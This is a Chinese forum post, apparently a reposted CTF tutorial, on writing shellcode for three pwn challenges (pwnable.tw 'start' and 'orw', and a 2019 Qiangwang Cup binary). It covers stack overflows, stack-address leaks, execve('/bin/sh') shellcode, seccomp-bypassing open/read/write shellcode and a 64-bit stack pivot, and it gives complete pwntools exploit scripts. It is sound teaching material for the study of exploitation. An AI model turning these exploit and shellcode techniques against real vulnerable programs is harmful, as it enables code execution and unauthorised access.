安全矩阵

 找回密码
 立即注册
搜索
查看: 4142|回复: 0

简单shellcode学习

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-7-10 11:19:47 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-7-10 11:30 编辑

转载 合天智汇 简单shellcode学习

引言
之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编写。

前置知识
  • NX(堆栈不可执行)保护
  • shellcode(一段16进制的数据,转化为字符串则为汇编代码)


pwnable之start


保护检测
可以看到这道题目什么保护都没有开
​​​​​​​​​
ida分析
题目只有start函数,可以知道该题是用汇编语言写的,顺便可以锻炼一下自己看汇编的能力


汇编代码分析
简单来说,程序调用了wirte函数去打印字符,接着调用read函数输入,但是这里的输入没有限制,因此有一个栈溢出的漏洞,而且程序有个特定,他将esp的值首先压入了栈中,esp存的是栈顶的地址,使得我们能够找到栈的地址,为我们返回shellcode做准备

  1. push    esp         #将esp寄存器的值压入栈中,这里可以获得栈的地址
  2. push    offset _exit #将_exit函数地址压入栈中,使得start函数执行完毕时返回exit函数
  3. xor     eax, eax     #清空eax寄存器的值
  4. xor     ebx, ebx     #清空ebx寄存器的值
  5. xor     ecx, ecx     #清空ecx寄存器的值
  6. xor     edx, edx     #清空edx寄存器的值
  7. push    3A465443h
  8. push    20656874h
  9. push    20747261h
  10. push    74732073h
  11. push    2774654Ch       #压入一堆字符串,即程序运行时的字符串,Let's start the CTF:
  12. mov     ecx, esp        ; addr,将字符串的地址放入ecx寄存器中
  13. mov     dl, 14h         ; len,将打印长度放进dl寄存器中,即16位寄存器
  14. mov     bl, 1           ; fd,1为文件描述符,指的是屏幕
  15. mov     al, 4           #eax寄存器,存放的是调用号,4调用号即,write函数
  16. int     80h             ; LINUX - sys_write,int 0x80调用80中断
  17. xor     ebx, ebx        #清空ebx寄存器,0为文件描述符,即外部输入,例如键盘
  18. mov     dl, 3Ch         #输入的长度 0x3c
  19. mov     al, 3           #3调用号,即read函数
  20. int     80h             ; LINUX -
  21. add     esp, 14h        #恢复栈平衡,因为压入字符串消耗了0x14的栈空间,使用完毕后需要换远
  22. retn                    #返回
复制代码


思路
  • 程序开始将esp的值压入栈中,可以获得栈的地址
  • 由于程序没有限制输入,因此有栈溢出漏洞,可以修改程序执行的流程


获得栈地址
根据程序的流程,我们可以画出栈的情况


跟踪调试一下,跟我们预期的一样

继续跟踪直到程序运行完add esp,14h,查看一下栈结构


此时返回地址指向exit函数,在执行完ret指令后,esp寄存器内容就为栈地址,想要泄露栈地址,则需要将返回地址修改为write函数,那么具体返回到哪个地址我们继续分析。
可以看到0x4调用前,需要往相应的寄存器传入相应的参数,其中ecx寄存器就是用于指向需要打印字符串的起始地址。

  1. mov     ecx, esp        ; addr,将字符串的地址放入ecx寄存器中
  2. mov     dl, 14h         ; len,将打印长度放进dl寄存器中,即16位寄存器
  3. mov     bl, 1           ; fd,1为文件描述符,指的是屏幕
  4. mov     al, 4           #eax寄存器,存放的是调用号,4调用号即,write函数
  5. int     80h             ; LINUX - sys_write,int
复制代码
在执行完ret指令后,此时的esp寄存器的内容恰好指向栈顶的地址
  1. 0xffffd12c —▸ 0xffffd130
  2. #因为push esp,会使得esp的值减4,因此此时的esp指针指向的内容是旧的esp指针,这点需要注意
复制代码

因此只要将返回地址修改为mov ecx,esp的地址即可打印出栈的地址
  1. h.recvuntil("Let's start the CTF:")
  2. payload = 'a'*20 + p32(0x8048087)#mov ecx,esp的地址
  3. #attach(sh)
  4. sh.send(payload)
  5. esp = u32(sh.recv(4))
  6. print 'esp:'+hex(esp)
复制代码
返回栈地址,执行shellcode
由于程序没有开启NX保护,即栈空间里的数据是可以执行的,那么我们输入execve()函数调用的汇编代码,即可执行getshell


  1. c语言表示:execve("/bin/sh\x00",0,0)
  2. 汇编代码:
  3. mov eax,0xb #将调用号设置为0xb,即函数execve的调用号
  4. xor edx,edx #清空edx寄存器,因为execve的函数edx的值为0
  5. xor ecx,ecx #清空ecx寄存器,因为execve的函数ecx的值为0
  6. push 0x0068732f #\x00hs/
  7. push 0x6e69622f #nib/,小端模式需要反着压入栈中
  8. mov ebx,esp #将字符串的地址传递给ebx
  9. int 0x80 #调用80中断
  10. 16进制表示:
  11. 利用pwntools库里的asm()函数,将汇编代码以16进制的表示形式输入
复制代码
可以看到简单的shellcode编写需要对照着系统调用号的表,挑取你需要的函数,然后对照着表将参数输入到对应的寄存器,继而调用80中断实现调用函数。
  1. payload1 = 'a'*20+p32(esp+20)#该返回地址需要自己去调试看看自己shellcode的起始地址,算出与泄露出的栈顶地址的偏移即可
  2. payload = asm("mov eax,0xb")
  3. payload += asm("xor edx,edx")
  4. payload += asm("xor ecx,ecx")
  5. payload += asm("push 0x0068732f")
  6. payload += asm("push 0x6e69622f")
  7. payload += asm("mov ebx,esp")
  8. payload += asm("int 0x80")
  9. sh.send(payload1+payload)
复制代码

完整的exp
  1. from pwn import *

  2. context(arch='i386',os='linux')
  3. sh = process("./start")
  4. #sh = remote("node3.buuoj.cn",29479)
  5. sh.recvuntil("Let's start the CTF:")
  6. payload = 'a'*20 + p32(0x8048087)
  7. #attach(sh)
  8. sh.send(payload)
  9. esp = u32(sh.recv(4))
  10. print 'esp:'+hex(esp)
  11. payload1 = 'a'*20+p32(esp+20)
  12. payload = asm("mov eax,0xb")
  13. payload += asm("xor edx,edx")
  14. payload += asm("xor ecx,ecx")
  15. payload += asm("push 0x0068732f")
  16. payload += asm("push 0x6e69622f")
  17. payload += asm("mov ebx,esp")
  18. payload += asm("int 0x80")
  19. sh.send(payload1+payload)
  20. sh.interactive()
复制代码
pwnable之orw保护检测
开启了canary保护,存在可写并且可执行的区域


ida分析
orw_seccomp
在该函数里开启了沙盒,这里可以用seccomp-tools去看下沙盒禁用了什么函数


输入图片说明 工具下载:https://github.com/david942j/seccomp-tools
可以看到,当用i386机器运行此程序时,只允许使用rt_sigreturn,sigreturn,exit_group,open,read,write的系统调用,我们常用的execve调用是不允许被使用的


看一下题目描述,告诉我们flag位于/home/orw/flag处,而且只允许使用open,read,write的系统调用,这是因为其他系统调用被prtcl函数所禁用了,这里我们关注在于shellcode,prctl则在后面的文章会详细介绍。

main函数
名为shellcode的变量位于.bss段,在输入完毕后会将该变量以函数的形式调用,则这道题不需要去寻找shellcode的返回地址,直接输入一段shellcode即可


输入图片说明 思路
  • 首先程序禁用了execve系统调用,只开放了open,read,以及write的系统调用,意义很明确,是让我们将flag都出来,而不是取得目标机器的shell


shellcode的编写
在写shellcode前,我们可以先用c语言将读flag的伪代码写出来
c语言

  1. fd = open("/home/orw/flag","w");//首先打开文件
  2. read(fd,buf,0x20);//读取文件的信息,放入到局部变量buf中
  3. write(1,buf,0x20);//将变量buf的内容打印出来,这里的足够打印出flag的长度即可,由于不知道flag的具体长度可以设置为长一点
复制代码

shellcode

  1. #首先对照伪C代码以及系统调用表进行shellcode的编写
  2. fd = open("/home/orw/flag","w")
  3. #相应的汇编
  4. xor ecx,ecx #清空ecx寄存器,open的调用该寄存器的值设为null
  5. xor edx,edx #清空edx寄存器,open的调用该寄存器的值设为null
  6. mov eax,0x5 #调用号设置为5
  7. push 0x006761 #将/home/orw/flag压入栈中,注意是栈是先进后出,因此字符串需要从最末尾开始压入即将字符
  8. push 0x6c662f77 #转为16进制要反向排序,并且字符串需要添加截断符\x00,push要以4字节为单位。
  9. push 0x726f2f65
  10. push 0x6d6f682f
  11. mov ebx,esp #fd的值为路径的地址
  12. int 0x80 #调用80中断,实现系统调用

  13. #c语言
  14. read(fd,buf,0x20)或read(3,buf,0x20)#这里的3为其他文件描述符,下面会详细介绍
  15. #相应的汇编
  16. mov eax,0x4
  17. mov ebx,0x3 #这里用3代替了oepn返回的fd指针,因为3可以用作于打开文件时的文件描述符,若想用open返回的指针则应该将系统调用号移动到eax寄存器前,先保存eax的内容。
  18. mov ecx,esp #将esp作为临时变量buf的地址
  19. mov edx,0x20 #读入的长度为0x20
  20. int 0x80 #调用80中断,实现系统调用

  21. #c语言
  22. write(1,buf,0x20)
  23. #相应的汇编
  24. mov eax,0x3#系统调用号0x3
  25. mov ebx,0x1#文件描述符为1,指向屏幕
  26. mov ecx,esp #将esp作为临时变量buf的地址
  27. mov edx,0x20 #打印的字符串的长度
  28. int 0x80 #调用80中断,实现系统调用

  29. #这里可以用pwntools库的一个函数代替,shellcraft
  30. c语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag"))
  31. c语言:read(3,buf,0x20)<==> 汇编:asm(shellcraft.read(3,"esp",0x20)
  32. c语言:write(1,buf,0x20)<==>汇编:asm(shellcraft.write(1,"esp",0x20))
复制代码
文件描述符
内核(kernel)利用文件描述符(file descriptor)来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。(来自百度百科)
  • 0代表标准输入流,stdin
  • 1代表标准输出流,stdout
  • 2代表标准错误流,stderr
  • 当打开一个新的文件时,它的文件描述符为3



exp1

  1. from pwn import *
  2. context(log_level='debug',arch='i386',os='linux')
  3. #sh = remote("node3.buuoj.cn",29479)
  4. sh = remote("chall.pwnable.tw",10001)
  5. sh.recvuntil("shellcode:")

  6. payload = asm(shellcraft.open("/home/orw/flag"))
  7. payload += asm(shellcraft.read(3,"esp",100))
  8. payload += asm(shellcraft.write(1,"esp",100))
  9. sh.sendline(payload)

  10. sh.interactive()
复制代码
exp2

  1. from pwn import *

  2. context(arch='i386',os='linux')
  3. #sh = remote("node3.buuoj.cn",25212)
  4. sh = remote("chall.pwnable.tw",10001)
  5. sh.recvuntil("shellcode:")
  6. payload = asm("xor ecx,ecx")
  7. payload += asm("xor edx,edx")
  8. payload += asm("mov eax,0x5")
  9. payload += asm("push 0x006761")
  10. payload += asm("push 0x6c662f77")
  11. payload += asm("push 0x726f2f65")
  12. payload += asm("push 0x6d6f682f")
  13. payload += asm("mov ebx,esp")
  14. payload += asm("int 0x80")

  15. payload += asm("mov eax,0x3")
  16. payload += asm("mov ebx,0x3")
  17. payload += asm("mov ecx,esp")
  18. payload += asm("mov edx,0x20")
  19. payload += asm("int 0x80")

  20. payload += asm("mov eax,0x4")
  21. payload += asm("mov ebx,0x1")
  22. payload += asm("mov ecx,esp")
  23. payload += asm("mov edx,0x2")
  24. payload += asm("int 0x80")

  25. sh.sendline(payload)
  26. sh.interactive()
复制代码
2019广东强网杯线下题目保护检测
同样是基本没开启防护,并且具有可写并可执行区域


ida分析
main函数
程序有1,2,3,三个选择,选择1 时仅仅是打印一串无作用的字符串,选择2时会当挑战满足时会打印栈地址,选择3可以执行栈溢出漏洞


仅仅只有0x10的溢出空间,可以恰好覆盖返回地址

magic函数
当传入的参数a2的值等于305419896时,则打印a1的值



我们可以看下magic函数传入的两个变量,一个为buf的地址,一个为局部变量v11,v11的值可以通过buf溢出后修改


思路
  • 程序存在栈溢出的漏洞,但是溢出的字节数较少,只能刚好溢出返回地址
  • 程序可以利用栈溢出覆盖变量v11的值,从而泄露buf的地址
  • 这道题我们用另一种思路,在栈上写栈转移的汇编代码,将栈转移到.bss段中,在向.bss段写入shellcode,需要注意的是该题是64位,而64位的系统调用号与32位不同。

汇编代码分析
  1. payload = asm("mov rax,0;") #系统调用号
  2. payload += asm("mov rdi,0;")#文件描述符
  3. payload += asm("mov rsi,0x601080")#.bss段地址,用于buf地址
  4. payload += asm("mov rdx,0x40")#输入长度
  5. payload += asm("syscall")#syscall启动调用
  6. payload += asm("push 0x601080")#返回地址
  7. payload += asm("ret")#ret指令返回任意地址
  8. payload = payload.ljust(0x38,'b')
  9. payload += p64(addr)
复制代码
完整的exp
  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. sh = process("./pwn")
  4. sh.recvuntil(" your choice:")
  5. sh.sendline("3")
  6. sh.recvuntil("What?")
  7. payload = 'a'*0x28+p64(305419896)
  8. sh.send(payload)
  9. sh.recvuntil(" your choice:")
  10. sh.sendline("2")
  11. sh.recvuntil("It is magic: [")
  12. addr = int(sh.recv(14),16)
  13. print 'addr:'+hex(addr)
  14. sh.sendline("3")
  15. sh.recvuntil("What?")
  16. payload = asm("mov rax,0;")
  17. payload += asm("mov rdi,0;")
  18. payload += asm("mov rsi,0x601080")
  19. payload += asm("mov rdx,0x40")
  20. payload += asm("syscall")
  21. payload += asm("push 0x601080")
  22. payload += asm("ret")
  23. payload = payload.ljust(0x38,'b')
  24. payload += p64(addr)
  25. #attach(sh)
  26. sh.send(payload)
  27. payload = asm("mov eax,59") #调用59号系统调用,execve("/bin/sh",0,0);
  28. payload += asm("xor rsi,rsi")
  29. payload += asm("xor rdx,rdx")
  30. payload += asm("mov rdi, 0x6010a8")
  31. payload += asm("syscall")
  32. payload = payload.ljust(0x28,'\x00')
  33. payload += '/bin/sh\x00'
  34. attach(sh)
  35. sh.send(payload)
  36. sh.interactive()
复制代码

  • 总结
  • shellcode的编写的需要借助调用表,根据调用表的参数值,往对应的寄存器赋值
  • start例题学会常用的系统调用execve("/bin/sh",0,0)的编写
  • orw例题则学会读给定路径的内容,从而学习open,read,write系统调用的编写
  • 广东强网杯这题则灵活利用栈可执行的条件,使用汇编实现栈转移,以及往指定地址写入内容。

    shellcode原理
    https://www.hetianlab.com/expc.d ... f-a9bb-6256a5624bc2
    (shellcode是一段用于利用软件漏洞而执行的代码,可在有能力劫持指令寄存器后,在内存中塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。)







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 03:43 , Processed in 0.016662 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表